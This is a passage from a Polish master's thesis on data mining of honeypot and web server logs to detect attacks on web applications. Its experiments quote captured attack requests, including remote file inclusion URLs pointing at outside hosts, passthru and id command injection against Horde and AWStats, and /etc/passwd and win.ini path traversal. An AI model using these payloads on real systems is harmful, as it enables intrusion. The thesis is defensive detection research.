Klasa SupportType zawiera stałe, które definiuja jaki typ minimalnego wsparciazostał przekazany do algorytmu. W zaimplementowanym systemie obsługiwany jesttylko i wyłacznie tryb wzgledny, jednak przewidziany został równiez tryb ilosciowy.

Klasa PatternMiningMethod to stałe, które definiuja sposób traktowania powta-rzajacych sie wzorców. Do wyboru sa trzy tryby:

— AD_HOC_CACHE,— GLOBAL_CACHE,— NO_CACHE.

Pierwsze dwa tryby wymuszaja niepowtarzanie sie wzorców. Róznica miedzynimi jest taka, ze w przypadku pierwszego z nich, wzorce porównywane sa w ra-mach przeprowadzonej analizy, natomiast w drugim trybie wzorce porównywane saw ramach wszystkich przeprowadzonych analiz. Trzeci z nich dopuszcza powtarza-nie sie wzorców.

Page 41: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

5.6. Implementacja 36

Rysunek 5.6: Zrzut ekranu strony z wynikami analizy

Na szczególna uwage zasługuje klasa modelu Search_Aggregate, bedaca od-wzorowaniem tabeli analysis_search_aggregate. Tabela ta rozszerza tabele data-loader_imported_data o kolumne, w której zapisywany jest przekształcony adresURL zadania. Operacja ta jest wykonywana w celu optymalizacji wyszukiwaniazadan, które spełniaja podany wzorzec. Przekształcenie adresu polega na zamianiewszystkich tokenów z adresu do postaci zakodowanych identyfikatorów, nastepnieich posortowanie i zapisanie to tabeli w postaci napisu, gdzie separatorem kolej-nych identyfikatorów jest znak „_”. Wyszukanie zadania polega na skonstruowaniuodpowiedniego zapytania z warunkiem LIKE.

Komponent webpanel składa sie z zestawu skryptów. Gotowy kontroler dostar-czony jest przez Django, nalezy go jedynie odpowiednio skonfigurowac. Konfiguracjipodlega mapowanie URI na odpowiednia funkcje widoku. Widok, który znajdujesie w module view, to zestaw funkcji obsługujacych konkretne zadanie oraz zestawszablonów stron internetowych. Na interfejs uzytkownika składaja sie równiez do-datkowe skrypty pomocnicze, np. wspomagajace stronicowanie oraz model danych.Na rysunku 5.6 przedstawiłem przykładowa strone interfejsu uzytkownika zaim-plementowanego systemu, na której zaprezentowane sa wyniki konkretnej analizy.Pozostałe strony maja bardzo podobny wyglad, poniewaz w zaimplementowanymsystemie interfejs uzytkownika składa sie jedynie ze stron prezentujacych listy z re-zultatami.

W systemie, który powstał w ramach pracowni magisterskiej tylko czesc funk-cjonalnosci dostepna jest przez interfejs uzytkownika. Jest to funkcjonalnosc zwia-zana z przegladaniem wyników przeprowadzonych analiz. Samo wykonywanie ana-liz oraz wczytywanie danych z plików logów dostepne jest poprzez konsole jezykaPython.

Framework Django w skryptach słuzacych do zarzadzania projektem posiadakomende uruchamiajaca konsole Python z ustawionymi odpowiednimi zmiennymi.Dzieki temu po uruchomieniu mozliwe jest wykorzystanie pełnej funkcjonalnosci

Page 42: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

5.6. Implementacja 37

systemu, a nawet pisanie skryptów automatyzujacych działanie aplikacji. Dla przy-kładu w systemie UNIX do automatycznego uruchamiania analiz mozna wykorzy-stac program cron, który jest odpowiedzialny za okresowe uruchamianie progra-mów.

1 ∗ ∗ ∗/14 ∗ ∗ /path/script . sh

Wydruk 5.1: Wpis w crontable do uruchamiania skryptu z wydruku 5.2

Na wydruku 5.2 przedstawiłem skrypt powłoki, który uruchamia analize danychz parametrem okna czasowego równym 14 dni. Wywołanie takiego skryptu moznaumiescic w pliku konfiguracyjnym crontable, co przedstawiłem na wydruku 5.1.Analogicznie mozna automatyzowac pozostałe czynnosci, np. wczytywanie danychz plików logów.

1 #! /bin/sh

python /var/www/tul ip/manage.py shel l <<PSHELLfrom tul ip . analysis . algorithms . jep import EmergingPatterns

5 from datetime import timedelta , datetime

td = timedelta (14)ep = EmergingPatterns ( td , 0.01 , 1)

10 from = datetime .now ( ) − 2 ∗ tdep .mine (minDate = from )

PSHELL

Wydruk 5.2: Skrypt uruchamiajacy automatyczna analize danych

Page 43: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

6. Eksperymenty

Niniejszy rozdział szczegółowo przedstawia przeprowadzone eksperymenty, wrazz ich wynikami. Do ich wykonania uzyłem struktury bazy danych przedstawionejw rozdziale 4 oraz algorytmów opisanych w rozdziale 2. Poniewaz wykorzystywanedane pochodza zarówno z logów, w których zapisana jest aktywnosc zwykłychuzytkowników sieci, jak i z logów, gdzie taka aktywnosc nie jest rejestrowana,postanowiłem przeprowadzic eksperymenty osobno dla kazdego ze zbiorów.

Przy doborze parametrów kierowałem sie zasada: nawet zadania pojawiajace sieniewielka liczbe razy powinny zostac wykryte, np. jedna seria kilku zadan. Jest topodyktowane faktem, iz dla nowych podatnosci liczba skanerów przeczesujacychsiec jest niewielka. Stad tez liczba zadan w bazie danych bedzie niewielka, jednakich wykrycie jest najbardziej pozadane. Aby takie załozenie zostało spełnione,wartosc parametru wsparcia powinna byc niska. Dzieki temu elementy rzadkowystepujace w analizowanym zbiorze równiez moga zostac wykryte. Zdefiniowanaprzeze mnie wartosc tego parametru nie mogła byc jednak za niska, poniewazliczba generowanych przez algorytmy wyników mogłaby utrudnic analize rezultatu.Ustawienia kolejnych parametrów zalezne były od uzytego algorytmu i opisanezostały przeze mnie w kolejnych sekcjach tego rozdziału.

W trakcie wykonywania eksperymentów posłuzyłem sie dwoma wzorcami: se-kwencyjnymi oraz wyskakujacymi. W tym celu wykorzystałem dwa rózne systemywspomagajace analize: dla wzorców sekwencyjnego komercyjny system Statistica,a dla wzorców wyskakujacych system zaimplementowany w ramach pracowni dy-plomowej. Dla kazdego wzorca przeanalizowałem oddzielnie dwa zbiory danychw ramach których wykonywałem eksperymenty z róznymi wartosciami parametrówsterujacych. Eksperymenty powtarzałem do momentu, kiedy kazdy nastepny eks-peryment nie dostarczał nowej wiedzy.

6.1. Analiza wzorców przy pomocy programu Statistica

Statistica jest systemem do analizy danych, a jednym z jego modułów, któregouzywałem, jest moduł SAL (ang. Sequence, Association and Link Analysis). Słuzyon do analizy koszykowej i umozliwia wykrywanie w zbiorze danych reguł asocjacjioraz reguł sekwencji. W moim przypadku, w analogii do zakupów sklepowych,klientem jest maszyna zgłaszajaca zadanie HTTP, natomiast transakcja jest seriazadan dokonana w niewielkim odstepie czasu. Moduł SAL umozliwia eksploracjezarówno wzorców sekwencyjnych, jak i samych reguł. W ponizszych punktachprzedstawiłem kolejne kroki, które nalezy wykonac, aby uruchomic algorytm eks-ploracji danych:

— wczytanie danych z bazy danych — dane pobierane sa do programu Statisticaza pomoca zdefiniowanego zapytania SQL,

Page 44: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

6.1. Analiza wzorców przy pomocy programu Statistica 39

— definicja zmiennych — w moim przypadku identyfikator sekwencji był przecho-wywany w kolumnie seq_id, czas w kolumnie time, a badana zmienna w kolum-nie uri_token (przypisania widoczne na rysunku 6.1),

— definicja parametrów algorytmu — zakres parametrów do zmiany zaprezento-wałem na rysunkach 6.2.

Rysunek 6.1: Wybór zmiennych analizy SAL programu Statistica

Rysunek 6.2: Wybór parametrów analizy SAL programu Statistica

Konkretne zapytania wraz z opisem przedstawiłem w kolejnych sekcjach, jed-nak wynik zapytania (zwracane kolumny) dla kazdego przykładu były takie same:z tabeli uir_token_data kolumny uri_token, seq_id oraz time, a z tabeli datalo-ader_imported_data kolumny dst_port i src_ip.

Tabele dataloader_imported_files oraz dataloader_imported_data szczegółowozostały opisane w sekcji 5.6.2. Tabela uri_token_data dla kazdego zadania (wiersza)z tabeli dataloader_imported_data zawiera elementy adresu URL. Podział adresujest zgodny z zasada przedstawiona w sekcji 4.3.1.

Rozpoczynajac eksperymenty bardzo duze nadzieje pokładałem w mozliwosciwykrywania reguł sekwencyjnych. Oczekiwałem, ze uda sie wykryc ciekawe zalez-nosci pomiedzy kolejnymi zadaniami. Wykonane przeze mnie eksperymenty poka-zały jednak, ze dla tego przypadku reguły sekwencyjne nie sa przydatne. W szcze-gólnosci duze trudnosci sprawiało analizowanie wygenerowanych reguł, bo byłoich bardzo duzo. W porównaniu z wzorcami sekwencyjnymi reguły nie dawałydodatkowej wiedzy, dlatego postanowiłem nie wykorzystywac reguł w mojej pracy,

Page 45: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

6.1. Analiza wzorców przy pomocy programu Statistica 40

a jedynie opierac sie o wzorce sekwencyjne. Ich liczba była kilkukrotnie mniej-sza oraz dodatkowo istniała mozliwosc zaprezentowania zbioru wzorców w postacizbiorów rozłacznych. Dzieki takiej prezentacji liczba wzorców do analizy malejez kilkunastu tysiecy lub nawet kilkudziesieciu tysiecy do kilkunastu. W poniz-szych opisach eksperymentów wykorzystałem rozłaczne wzorce, aby mozliwe byłozaprezentowanie otrzymywanych przeze mnie wyników.

W opisach przyjałem zasade, ze wymieniam tylko te parametry, które róznia sieod przyjetych przeze mnie wartosci domyslnych, które przedstawiłem w tabeli 6.1.

Parametr Wartoscminimalne wsparcie 2%maksymalny próg wsparcia 100%maksymalna liczba elementów we wzorcu sekwencji 10maksymalna liczba elementów sekwencji 6

Tabela 6.1: Domyslne wartosci parametrów dla wzorców sekwencyjnych

6.1.1. Zbiór zadan z logów systemu honeypot

Dla zadan z logów systemów honeypot (pliki pcap) podstawa do pobrania danychdo programu Statistica było nastepujace zapytanie:

1 SELECTlower ( urd . uri_token ) as uri_token ,ida . t id as seq_id ,ida . time ,

5 ida . dst_port ,ida . src_ip

FROMdataloader_imported_data ida ,dataloader_imported_files di f ,

10 uri_token_data urdWHERE

ida . id = urd . data_idAND ida . imported_f i le_id = d i f . idAND filename like ’%.pcap ’

15 AND ida . uri not like ’%bot%’

Warunek zdefiniowany w linii 14 ma za zadanie ograniczyc wiersze pobierane z ta-beli dataloader_imported_data do tych, które zostały wczytane z plików pcap. Wa-runek znajdujacy sie w linii 15 ma na celu odfiltrowanie tych wierszy, które sa za-daniami robotów wyszukiwarek internetowych.

Dodatkowym krokiem przygotowujacym dane do analizy jest zastosowanie funk-cji lower na kolumnie uri_token (kolumna zawiera fragmenty URL zadania HTTP).W wiekszosci przypadków dla serwerów obsługujacych zadania wielkosc literma znaczenie, czyli phpmyadmin jest czyms innym niz phpMyAdmin. Jednak dlaanalizy takie rozróznienie jest niepozadane, poniewaz w obydwóch przypadkachchodzi o te sama aplikacje.

Analiza danych: eksperyment nr 1

W pierwszym eksperymencie dla zbiorów zadan z logów honeypota do pobraniadanych wykorzystałem podstawowe zapytanie SQL, które zostało przedstawione

Page 46: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

6.1. Analiza wzorców przy pomocy programu Statistica 41

powyzej. Wykrytych zostało 27 zbiorów jednoelementowych, które nastepnie po-słuzyły do budowy wzorców sekwencyjnych. W rezultacie otrzymałem 5 975 wzor-ców sekwencyjnych, w wiekszosci złozonych z czterech zbiorów jednoelementowycho najwyzszym wsparciu. Te zbiory to:

— ( setup.php ),— ( scripts ),— ( w00tw00t.at.isc.sans.dfind:) ),— ( phpmyadmin ).

Przykładowe wzorce sekwencyjne utworzone na podstawie tych zbiorów to:

— ( scripts ), ( setup.php ), ( scripts ), ( scripts, setup.php ),( scripts, setup.php ),

— ( scripts ), ( setup.php ), ( scripts ), ( scripts, setup.php ),( setup.php ),

— ( scripts ), ( setup.php ), ( scripts ), ( scripts ), ( scripts,setup.php ),

— ( scripts ), ( setup.php ), ( scripts ), ( setup.php ),( scripts ).

Zbiór wynikowy w wiekszosci przypadków zawiera wzorce bardzo podobnedo siebie. Ich analiza jest zmudna ze wzgledu na fakt, ze jej zadanie polega na ba-daniu zbioru wynikowego składajacego sie z wielu podobnych wzorców w celu zi-dentyfikowania wzorców interesujacych.

badana wielkosc wartoscliczba zadan HTTP 15 996liczba tokenów adresów URL 62 074znalezionych wzorców sekwencyjnych 4 673wzorców rozłacznych 35zbiorów jednoelementowych 27odkrytych ataków 2odkrytych skanowan 1

Tabela 6.2: Podsumowanie pierwszego eksperymentu dla zbioru danych pcap algo-rytmu wzorców sekwencyjnych

Aplikacja Statistica posiada pozyteczna opcje prezentowania sekwencji rozłacz-nych. Opcja ta polega na zaprezentowaniu wyników w postaci zbioru sekwencji,które zawieraja wszystkie zbiory jednoelementowe, a jednoczesnie prezentowanewzorce na siebie nie zachodza. W ten sposób odfiltrowana jest znaczna czesc wy-ników, która niewiele wnosi do analizy. Dla tego eksperymentu liczba zbiorówrozłacznych wyniosła 35 (z 4 673 zbiorów). Podsumowanie liczbowe dla tego eks-perymentu przedstawiłem w tabeli 6.2.

Page 47: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

6.1. Analiza wzorców przy pomocy programu Statistica 42

badana wielkosc wartoscliczba zadan HTTP 15 996liczba tokenów adresów URI 62 074znalezionych wzorców sekwencyjnych 102 915wzorców rozłacznych 637zbiorów jednoelementowych 192odkrytych ataków 3odkrytych skanowan 7

Tabela 6.3: Podsumowanie drugiego eksperymentu dla zbioru danych pcap algo-rytmu wzorców sekwencyjnych

Na podstawie zbiorów rozłacznych wykrytych w tym eksperymencie zidentyfiko-wałem nastepujace skanowania:

1) podatnosc aplikacji PHPMyAdmin,2) próba wykorzystania podatnosci aplikacji Webmin,3) skanowanie robota ahrefs.

Wykryty przeze mnie atak na podatnosc aplikacji PHPMyAdmin przeprowadzonybył w trzech krokach. Pierwszym krokiem jest zbadanie czy na danej maszynieuruchomiony jest serwer HTTP. Nastepny krok to wykorzystanie luki w skrypcie se-tup.php, która umozliwia umieszczenie kodu PHP w skrypcie config.inc.php. Ataku-jacy za pomoca danych przekazanych w zadaniu POST przekazuje kod PHP, którynastepnie umieszczany jest w skrypcie config.inc.php tworzac w ten sposób luketypu remote code execution. Trzecim krokiem jest wykorzystanie luki poprzez bez-posrednie wykonanie skryptu config.inc.php. Wykryte zostały nastepujace wzorcepowiazane z tym atakiem:

— ( sec:), w00tw00t.at.blackhats.romanian.anti ), ( scripts,setup.php ), ( phpmyadmin, scripts, setup.php ), ( scripts,setup.php ),

— ( myadmin, scripts, setup.php ),— ( pma, config.inc.php?p=phpinfo();, config ), ( config.inc.php?

p=phpinfo();, config ).

Dodatkowa kwestia dotyczaca tego ataku jest fakt, ze dotyczy on aplikacji nie-odpowiednio skonfigurowanych. Dostep do katalogów instalacyjnych powinien bycco najmniej chroniony hasłem.

Wykryta podatnosc aplikacji Webmin umozliwia odczyt dowolnego pliku, do któ-rego prawa odczytu posiada aplikacja Webmin. Wykryty wzorzec to ( etc,unauthenticated, ..%01, shells ).

Skanowanie robota ahrefs zostało przeze mnie zidentyfikowane na podsta-wie wzorca ( 212.113.37.106 ) oraz nagłówka UserAgent — Mozilla/5.0(compatible; AhrefsBot/1.0; +http://ahrefs.com/robot/). Aktywnosctego robota nie jest działalnoscia złosliwa.

Page 48: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

6.1. Analiza wzorców przy pomocy programu Statistica 43

Analiza danych: eksperyment nr 2

W drugim eksperymencie obnizyłem wartosc parametru minimalnego wsparciado wartosci 0,2%. Była to minimalna wartosc jaka mogłem ustawic w progra-mie. Ustawianie nizszych wartosci skutkowało wyswietleniem ostrzezenia dotycza-cego potencjalnie bardzo duzej liczby wykrytych wzorców. Ignorowanie ostrzezeniai kontynuowanie analizy skutkowało nieoczekiwanym wyłaczaniem sie programu.

Dla tak zdefiniowanych parametrów wykrytych zostało 637 wzorców rozłacznych(posumowanie umiesciłem w tabeli 6.3). Wykryte zostały nastepujace skanowania:

1) wykrywanie niezabezpieczonych proxy,2) skanowanie w poszukiwaniu uruchomionego serwera webDAV,3) wykrywanie klienta pocztowego RoundCube,4) wykrywanie aplikacji do obsługi sklepów internetowych Zen Cart,5) próba wykorzystania podatnosci PHPPgAdmin,6) podatnosc aplikacji AppServ,7) wykrywanie serwera FrontPage,8) wykrywanie PHPLdapAdmin,9) wykrywanie aplikacji Horde,10) podatnosc aplikacji WebCalendar.

Ponizsze wzorce to próby wykrycia niezabezpieczonych proxy:

— ( http:, fastenv, proxyjudge1.proxyfire.net ),— ( www.sciencedirect.com, http: ).

Zadania powiazane z tymi wzorcami rozpoczynaja sie od http://:

— http://proxyjudge1.proxyfire.net/fastenv,— http://yahoo.com,— http://www.ip2location.com.

Wykryte zostały skanowania, które nie miały na celu wykorzystania zadnej po-datnosci, a jedynie stwierdzenie czy skanowana aplikacja na danej maszynie ist-nieje. Wzorzec sekwencyjny ( webdav, test ) to próby wykrycia serwera we-bDAV, natomiast próba wykrycia klienta poczty RoundCube to wzorce:

— ( roundcube ), ( mail ),— ( bin, msgimport ).

Na podstawie ponizszych wzorców wykryte zostało równiez skanowanie w poszuki-waniu systemu sklepu internetowego, opartego o platforme Zen Cart:

— ( includes ), ( zencart ),— ( cart ), ( includes ).

Bardzo podobny atak jak w przypadku aplikacji PHPMyAdmin, wykryłem dlaaplikacji PHPPgAdmin. W tym przypadku atak równiez dotyczył skryptu con-fig.inc.php i wykorzystywał podatnosc typu remote code execution. Atak wykrytyzostał na podstawie wzorca ( phpmyadmin ), ( phppgadmin ).

Próba wykorzystania podatnosci typu remote code execution nastapiła rów-niez na aplikacje AppServ. Wykryty wzorzec ( main.php?appserv_root=http:,appserv ) pojawił sie np. w zadaniu:

/appserv/main.php?appserv\_root=http://213.131.252.251/icecrash1/a.txt?\&

Page 49: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

6.1. Analiza wzorców przy pomocy programu Statistica 44

Skanowanie w poszukiwaniu aplikacji FronPage wykryłem na podstawie wzorca( _vti_bin, author.dll, _vti_aut ), aplikacji PHPLdapAdmin na podstawiewzorca ( htdocs, phpldapadmin ), natomiast Horde na podstawie nastepuja-cych wzorców:

— ( readme ), ( horde2 ),— ( readme ), ( horde3 ),— ( readme ), ( horde ).

W przypadku aplikacji WebCalendar wykryłem próbe wykorzystania podatnoscitypu remote code execution. Atak zidentyfikowałem na podstawie wzorców:

— ( tools ), ( send_reminders.php?noset=0&includedir=http: ),— ( webcalendar ), ( 1.gif? ).

Przykładowe zadanie powiazane z przedstawionymi wzorcami to:

/tools/send\_reminders.php?includedir=http://94.83.85.26/webs/db/info.in??/

Analiza danych: eksperyment nr 3

Trzeci eksperyment wykonywałem na zmodyfikowanym zbiorze danych. Do pod-stawowego zapytania SQL dodałem nastepujace warunki do klauzuli WHERE

1 AND uri not like ’%phpmyadmin%’AND uri not like ’%w00tw00t . at . isc . sans . dfind :)% ’AND uri not like ’%setup .php%’AND uri not like ’%unauthenticated%’

5 AND uri not like ’%212.113.37.106% ’AND uri not like ’%config . inc .php%’AND uri not like ’%proxyjudge%’AND uri not like ’%roundcube%’AND uri not like ’%msgimport%’

Powyzsze warunki usuwaja te zadania, które zostały przeanalizowane w poprzed-nich eksperymentach. Zadania te zostały przeze mnie odrzucone, aby zmniejszycw ten sposób zbiór danych do analizy w celu wykrycia wzorców o nizszym wsparciu.

Przy odrzucaniu zadan powyzsza metoda (dodatkowe warunki LIKE w zapyta-niu) nalezy pamietac, aby nie odfiltrowac przez przypadek zadan, które w baziedanych powinny pozostac w celu dalszego przetwarzania. W tym celu odrzucaneprzeze mnie zbiory dodatkowo manualnie weryfikowałem, aby zmniejszyc ryzykousuniecia z bazy danych tych pozadanych.

Dla tego eksperymentu wartosc minimalnego wsparcia, podobnie jak w poprzed-nim ustawiłem na 0,2%. Dodatkowo zmniejszyłem wartosc maksymalnej liczby ele-mentów sekwencji do 4. Na podstawie poprzednich eksperymentów zauwazyłem,ze 4 elementy w sekwencji wystarcza do zidentyfikowania interesujacego wzorca.

Na podstawie tak zdefiniowanych parametrów odkryte zostały 524 zbiory roz-łaczne (podsumowanie w tabeli 6.4). Na ich podstawie zidentyfikowałem nastepu-jace skanowania:

1) podatnosc aplikacji Horde,2) podatnosc aplikacji AWStats.

Page 50: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

6.1. Analiza wzorców przy pomocy programu Statistica 45

badana wielkosc wartoscliczba zadan HTTP 8 199liczba tokenów adresów URI 23 764znalezionych wzorców sekwencyjnych 28 220wzorców rozłacznych 524zbiorów jednoelementowych 270odkrytych ataków 2

Tabela 6.4: Podsumowanie trzeciego eksperymentu dla zbioru danych pcap algo-rytmu wzorców sekwencyjnych

W przypadku aplikacji Horde wykryłem próbe wykorzystania podatnosci typuremote code execution. Atak wykryłem na podstawie wzorca ( horde, services,help, ?show=about&module=;%22.passthru(%22id%22); ), ( cgi, bin ),( bin, twiki ), ( help ). Przykładowe zadanie powiazane z przedstawionymwzorcem to:

/horde/services/help/?show=about\&module=;\%22.passthru(\%22id\%22);

W przypadku aplikacji AWStats atak równiez dotyczył podatno-sci typu remote code execution. Wykryty wzorzec ( horde, help,?show=about&module=;%22.passthru(%22id%22); ), ( awstats.pl?configdir=%7cecho%20;echo%20;id;echo%20;echo%20%7c, cgi, bin ),( bin, twiki ), ( help ) zawiera w sobie równiez element, który dotyczyataku na aplikacje Horde. Swiadczy to o tym, ze atak na obydwie aplikacjeprzeprowadzony został w jednej serii zadan. Przykładowe zadanie powiazanez przedstawionym wzorcem to:

/cgi-bin/awstatstotals.php?sort={\%24{passthru(chr(105).chr(100))}}{\%24{exit()}}

6.1.2. Zbiór zadan z logów serwera HTTP

W przypadku logów z serwera HTTP podstawowe zapytanie było bardzo podobnedo zapytania zdefiniowanego w sekcji 6.1.1. Jedyna róznica był zanegowany waru-nek filtrujacy nazwe pliku, z którego zaimportowane zostało dane zadanie:

1 SELECTlower ( urd . uri_token ) as uri_token ,ida . t id as seq_id ,ida . time ,

5 ida . dst_port ,ida . src_ip

FROMdataloader_imported_data ida ,dataloader_imported_files di f ,

10 uri_token_data urdWHERE

ida . id = urd . data_idAND ida . imported_f i le_id = d i f . idAND filename not like ’%.pcap ’

15 AND ida . uri not like ’%bot%’

Page 51: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

6.2. Wzorce wyskakujace 46

Dla powyzszego zapytania do programu Statistica zostało pobranych 1 649 229wierszy, co odpowiadało liczbie 533 577 zadan HTTP. Przy wsparciu na poziomie2% udało mi sie uzyskac jednoelementowe sekwencje, których licznosc wynosiła1 076 (przy sumarycznej liczbie transakcji na poziomie 54 979). Okazało sie, zejednoelementowe sekwencje, które pojawiały sie najczesciej sa całkowicie bezuzy-teczne ze wzgledu na to, ze były to elementy bezwzglednej sciezki systemowej.

Dodatkowo sytuacje komplikował fakt, ze róznych sciezek było wiele — kazdyuzytkownik systemu mógł miec swój katalog domowy. Usuniecie tych nadmiaro-wych danych wymagało wykonania dodatkowej pracy w kroku czyszczenia danych.

W tym eksperymencie zbiór danych zawierał równiez dane niebedace wynikiemdziałalnosci złosliwego oprogramowania. Okazało sie, ze praca na tak duzej ilo-sci danych jest utrudniona ze wzgledu na problemy wydajnosciowe. Ze wzgleduna długi czas samego wczytywania danych, jak i równiez obliczen, zdecydowałemsie pominac wykonywanie eksperymentów dla tego zbioru danych przy uzyciu me-tody wykrywania wzorców sekwencyjnych.

6.2. Wzorce wyskakujace

W ponizszej sekcji przedstawiłem wyniki eksperymentów z zastosowaniem al-gorytmu wzorców wyskakujacych. W przeciwienstwie do poprzedniej metody, tymrazem posłuzyłem sie oprogramowaniem, które sam zaprojektowałem i zaimple-mentowałem. W tej sekcji jedynie przedstawiłem wyniki otrzymane w trakcie wy-konywania eksperymentów, natomiast szczegółowy opis systemu zawarłem w roz-dziale 5.

Poniewaz sam algorytm wzorców wyskakujacych oryginalnie słuzy do porówny-wania dwóch zbiorów danych, to na potrzeby badan w ramach pracowni magister-skiej dokonałem jego rozszerzenia. Polega ono na podziale zbioru danych na wielepomniejszych zbiorów, a nastepnie na cyklicznym wykonywaniu porównan dwóchnastepujacych po sobie zbiorów danych, rozpoczynajac od pierwszego z nich. Dlaprzykładu jesli baza danych została podzielona na cztery zbiory danych, to pełnaanaliza bedzie sie składac z trzech iteracji porównujacych zbiory: drugi z pierw-szym, trzeci z drugim oraz czwarty z trzeci. Takie podejscie umozliwia analize wieluokien z ramach jednej bazy danych, co przekłada sie zwiekszenie liczby wykrywa-nych wzorców o nizszym wsparciu.

W trakcie przeprowadzania moich pierwszych eksperymentów do generowaniazbiorów czestych wykorzystywałem algorytm Apriori. Okazało sie jednak, ze dlawiekszych zbiorów danych generuje on bardzo duzo wyników. Z tego powodu w dal-szych eksperymentach został on przeze zastapiony algorytmem MAFIA, którego re-zultatem działania sa jedynie maksymalne zbiory czeste.

Zabieg ten znaczaco poprawił przejrzystosc wyników, przy jednoczesnym zacho-waniu informacji. Dodatkowa zaleta zastosowania algorytmu MAFIA okazało sierówniez wielokrotne zmniejszenie czasu generowania wyników, co było szczegól-nie zauwazalne przy obliczeniach dla niskich wartosci parametru wsparcia. Dlaporównania jeden z eksperymentów przeprowadziłem z zastosowaniem obydwóchalgorytmów. Liczba wygenerowanych wzorców prezentowała sie nastepujaco:

algorytm liczba wzorcówApriori 5 718MAFIA 417

Page 52: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

6.2. Wzorce wyskakujace 47

W celu dodatkowego pomniejszenia zbioru wynikowego zastosowałem zasadepomijania tych wzorców, które pojawiły sie juz w przeszłosci, np. jezeli w róznychokresach wykrywany jest wzorzec X, to jest on prezentowany na liscie wynikowejtylko i wyłacznie w okresie, w którym wystapił najwczesniej.

6.2.1. Zbiór zadan z logów systemu honeypot

Analogicznie do eksperymentów z wykorzystaniem aplikacji Statistica pierwszeeksperymenty z wykorzystaniem mojego programu przeprowadziłem na zbiorzedanych z logów systemu honeypot.

Analiza danych: eksperyment nr 1

Dla tego eksperymentu przyjałem nastepujace wartosci parametrów steruja-cych: poziom minimalnego wsparcia — 1%, okno czasowe — 14 dni. Przyjetaprzeze mnie wartosc okna czasowego skutkowała podzieleniem danych wejsciowychna 66 czesci.

Dla tak dobranych parametrów uzyskałem zbiór wyników, który pokrywał zbiórskanowan1 wykryty we wszystkich poprzednich eksperymentach na tym zbiorzedanych oraz dodatkowo zawierał wzorce powiazane z niewykrytymi dotychczasskanowaniami:

1) wyszukiwanie proxy,2) podatnosc aplikacji WordPress,3) podatnosc aplikacji Mambo,4) nieautoryzowany dostep do plików systemowych,5) skanowanie w poszukiwaniu systemu zarzadzania trescia e107,6) skanowanie w poszukiwaniu platformy sklepu internetowego.

Podobnie jak w przypadku wzorców sekwencyjnych tutaj udało sie wykryc ro-boty wyszukujace niezabezpieczone proxy. Na uwage zasługuje jednak fakt, zew tym eksperymencie wykryte zostały wzorce, które w zbiorze danych wystepowałytylko dwa razy w danym oknie, czego dla uprzednio badanego algorytmu nie udałosie uzyskac. Dla przykładu wykryty został wzorzec ( db9, 1ds, 16, bay, to, breakers,trash, cleanup.jpg ) wystepujacy w nastepujacych zadaniach:

— /db9/1ds-16/bay-to-breakers-trash-cleanup.jpg,— http://www.mccullagh.org/db9/1ds-16/bay-to-breakers-trash-

cleanup.jpg.

Aplikacja WordPress, podobnie jak w przypadku podatnosci AppServ, zawierałaluke umozliwiajaca wykonanie zdalnego kodu. Wykryty wzorzec ( wp ) pojawiał siew nastepujacych zadaniach:

— /wp-content/plugins/wp-phpmyadmin/wp-phpmyadmin/phpmyadmin/scripts/setup.php,

— /wordpress/wp-content/plugins/sniplets/modules/execute.php?text=http://94.83.85.26/webs/db/info.in??/,

— /wordpress/wp-content/plugins/sniplets/modules/syntax\_highlight.php?libpath=http://94.83.85.26/webs/db/info.in??/.1 Poprzez skanowania rozumiem zarówno skanowania majace na celu wykrycie obecnosc danej

aplikacji, jak i próby wykorzystania konkretnej podatnosci.

Page 53: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

6.2. Wzorce wyskakujace 48

Skanowanie w poszukiwaniu wersji Mambo z luka umozliwiajaca wykona-nie zdalnego kodu wykryłem na podstawie wzorca ( db, webs, 94.83.85.26,components, includes ). Przykładowe wysłane zadanie to:

/components/com\_zoom/includes/database.php?\\mosConfig\_absolute\_path=http://94.83.85.26/webs/db/info.in??/

Przedstawione ponizej wzorce były powiazane w sumie z ponad 250 róznymizadaniami HTTP:

— ( scripts, etc, passwd%00 ), (.),— ( cgi, bin, etc, passwd ),— ( cgi, bin, etc, passwd%00 ).

Miały one na celu wykorzystanie podatnosci umozliwiajacej nieautoryzowany do-step do plików systemowych. Warto zaznaczyc, ze skanowania były ukierunkowanezarówno na systemy z rodziny UNIX, jak i Windows, np.:

— /cgi-bin/.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./winnt/win.ini,

